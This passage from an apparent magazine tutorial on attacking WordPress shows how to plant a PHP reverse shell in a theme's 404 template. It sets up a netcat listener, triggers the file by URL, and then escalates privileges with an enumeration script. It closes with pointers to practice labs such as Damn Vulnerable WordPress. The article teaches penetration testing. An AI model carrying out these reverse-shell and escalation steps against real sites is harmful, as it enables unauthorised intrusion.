How attackers slip inside WordPress

Popping a Shell

Now I'm ready to open a reverse shell. Before I do that, I need to make tiny adjustments to the code. For instance, I need to add my local laptop IP address and also the port that I've opened for the reverse shell to connect to, as seen in Listing 1 with the CHANGE THIS comments (also in Figure 5).

Listing 1

Setting the Address and Port

<?php
$VERSION = "1.0";
$ip = 'XXX.XXX.XXX.XXX';  // CHANGE THIS
$port = 8888;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
Figure 5: OMG, it's full of code.

I now install the stalwart of the reverse shell world, netcat, with the following command on Debian Linux derivatives:

$ apt install netcat

Next I open a listener up on a new terminal with this command:

$ nc -nvlp 8888
Listening on 0.0.0.0 8888

Excellent, we can see that netcat is listening dutifully.

(See the article on reverse shells elsewhere in this issue for more on using netcat to set up a listener.) You can now paste the reverse shell code over the top of the existing 404 template code by selecting all with Ctrl+A and then pasting with Ctrl+V. Check that you have pasted the version with the correct IP address and open port and then click the blue Update File button at the bottom of the page.

If you get a strange error about editing files, you can try a couple of things. Figure 6 shows the unwelcome red error that I received and Figure 7 shows what success should look like, in green.

Figure 6: Your WordPress build might not be working quite right.
Figure 7: Editing files within Themes should look like this.

I realized the DNS was a bit stale, having moved the AWS IP addresses a few times. If that happens to you, use the hostname that you used to create your WordPress build (hostname.tld in this example) and add the actual AWS instance IP address in the /etc/hosts file on the WordPress server itself while testing. Most sites you are attacking won't be broken like this. In my case, the file looks like

XXX.XXX.XXX.XXX hostname.tld

What gave me the clue to add the local DNS entry in /etc/hosts was the WordPress UI. The Tools | Site Health page said it couldn't connect to its own internal components properly. Once I made the change, the Site Health message lit up green.

The next thing on the list is to trigger the code in hidden-404.php directly in order to load and execute the reverse shell code.

In my case, I visited the following URL:

https://target.local/wp-content/themes/twentytwentythree/patterns/hidden-404.php

Looking back to the terminal where the listener is running brings much joy. As you can see in Figure 8, I have a reverse shell. In case you can't quite read the detail in Figure 8, the shell has dropped us in as the www-data user. This is to be expected and is good news.

Figure 8: Happiness is a working reverse shell.

Once you get the reverse shell working, you might want to take a few steps to stabilize the shell. These steps, which are outlined in the article on reverse shells elsewhere in this issue, including spawning a Bash process, switching to xterm, and temporarily putting the netcat process in the background to tweak some terminal settings.

Escalating

A stable shell allows you to settle in and get comfortable on the target system, and the next step is usually to start the process of privilege escalation, which is often called Local Privilege Escalation (LPE) or PrivEsc. In this case, the goal is to elevate from the www-data user to the root user (called vertical PrivEsc) or indeed possibly to another user (called horizontal PrivEsc).

See the article on privilege escalation elsewhere in this issue for more on PrivEsc techniques, including tricks with the SUID bit and sudoers file, as well as looking in crontab files for jobs that run as root.

If none of those options turn up anything, you could also try an enumeration tool. For instance, the Linux Smart Enumeration (LSE) tool [10] is specifically designed for Linux PrivEsc. You can usually pull files from your own machine to the target via a Python web server once you have a shell available, but in LSE's case, I just go to the raw version of the lse.sh script in the GitHub repository [11] and paste the whole, lengthy script into a file on the target, making it executable with chmod +x file.sh. Figure 9 shows the opening output of LSE. The Figure 9 output shows that LSE is about to point us to some interesting artifacts on the WordPress host.

Figure 9: LSE is running through many, many PrivEsc checks.

Ready Player One

If you want to practice on your own already-vulnerable WordPress installation, I would recommend learning on TryHackMe first and using some of their free challenges. If you don't want to take that route and would prefer to target a trickier, pre-baked WordPress installation, you'll find a very old but purposely vulnerable WordPress installation called dvwp (Damn Vulnerable WordPress) on GitHub [12]. The GitHub site lets you clone the code and spin up a Docker container in order to run the application.

A container is a nice approach because all the software is installed locally, so you can be sure you're not breaching any cloud provider terms of service.

As the root user, get started with the following commands:

$ git clone https://github.com/vavkamil/dvwp
$ cd dvwp

Use Docker Compose to spin up the containers. After the process completes, you should see three containers running: phpmyadmin/phpmyadmin, dvwp_wordpress, and mysql:5.7. Listings 2 and 3 show the commands for setting up WordPress and installing the WordPress container.

Listing 2

Building Wordpress

$ docker-compose up -d --build
[...snip...]
Creating network "dvwp_default" with the default driver
Creating volume "dvwp_wp" with default driver
Creating volume "dvwp_db" with default driver
Building wordpress
Sending build context to Docker daemon  57.15MB
Step 1/3 : FROM wordpress:php7.1-apache
php7.1-apache: Pulling from library/wordpress
[...snip...]

At the end of Listing 3, the word Success is very welcome and denotes that the process has been completed. The GitHub README file will help you get started with some useful URLs, as shown here:

http://127.0.0.1:31337
http://127.0.0.1:31337/wp-login.php
http://127.0.0.1:31338/phpmyadmin/

Listing 3

WordPress Container

$ docker-compose run --rm wp-cli install-wp
Creating dvwp_wp-cli_run ... done
Success: WordPress installed successfully.
Plugin 'iwp-client' activated.
Success: Activated 1 of 1 plugins.
Plugin 'social-warfare' activated.
Success: Activated 1 of 1 plugins.
Plugin 'wp-advanced-search' activated.
Success: Activated 1 of 1 plugins.
Plugin 'wp-file-upload' activated.
Success: Activated 1 of 1 plugins.
Success: Imported from 'dump.sql'.

In Figure 10, you can see what the first URL offers: a good old blogging website courtesy of WordPress.

Figure 10: The gauntlet has been thrown down.

The next steps for attacking the Damn Vulnerable WordPress site are up to you! Dvwp offers the admin username and password, so trying out authenticated attacks is nice and easy.

Buy this article as PDF

Express-Checkout as PDF
Price $2.95
(incl. VAT)

Buy Linux Magazine

SINGLE ISSUES
 
SUBSCRIPTIONS
 
TABLET & SMARTPHONE APPS
Get it on Google Play

US / Canada

Get it on Google Play

UK / Australia

Related content

comments powered by Disqus
Subscribe to our Linux Newsletters
Find Linux and Open Source Jobs
Subscribe to our ADMIN Newsletters

Support Our Work

Linux Magazine content is made possible with support from readers like you. Please consider contributing when you’ve found an article to be beneficial.

Learn More

News